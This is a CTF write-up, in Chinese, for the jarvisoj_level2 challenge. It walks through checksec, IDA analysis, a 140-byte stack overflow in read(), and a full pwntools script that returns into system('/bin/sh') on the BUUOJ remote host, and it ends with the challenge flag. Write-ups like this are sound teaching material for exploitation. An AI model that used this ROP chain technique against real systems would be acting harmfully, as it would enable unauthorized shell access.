jarvisoj_level2

jarvisoj_level2

逆向分析

image-20250804204116179

这个题目依旧提供了附件,依旧是ida分析钱先checksec一下

image-20250804204352536

发现没有PIE和stack防御,再用ida分析一下

image-20250804204532476

发现main函数先调用了另一个函数,去看看

image-20250804204612470

发现read函数存在栈溢出,经计算需要140位填充才能覆盖地址。看一看程序里有没有/bin/sh字符串,也是可以用ROP命令去查的我用这个命令ROPgadget --binary ./level2 --string "/bin/sh"

image-20250804205330800

发现/bin/sh字符串这样就不用自己去输入了,再找一下system的plt地址,ida里就能找到,再找一下ret的地址进行栈对齐

image-20250804205503531

只需要ret的地址就行了,最后写一下payload

[!IMPORTANT]

函数里有system函数的一定要通过pwntools里的recvuntil这个命令去跨过它不然就会进入system的命令流出不来了read函数也就接受不到消息,栈溢出也就无从谈起了。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#p=process('./level2')
#gdb.attach(p, gdbscript='''
# b *main
#''')
p=remote('node5.buuoj.cn',29577)
offset =140
system_plt=0x08048320
shell_addr=0x0804a024
ret_addr=0x080482de
pop_addr=0x08048519
payload = b'a' * offset
payload+=p32(system_plt)
payload+=p32(ret_addr)
payload+=p32(shell_addr)
p.recvuntil(b"Input:\n")
info("Sending ROP chain...")
p.send(payload)
time.sleep(0.2)
info("Switching to interactive mode...")
p.interactive()

尝试一下

image-20250804205819439

成功!

flag:flag{0020c574-4202-45e7-8b61-ff1be87a1886}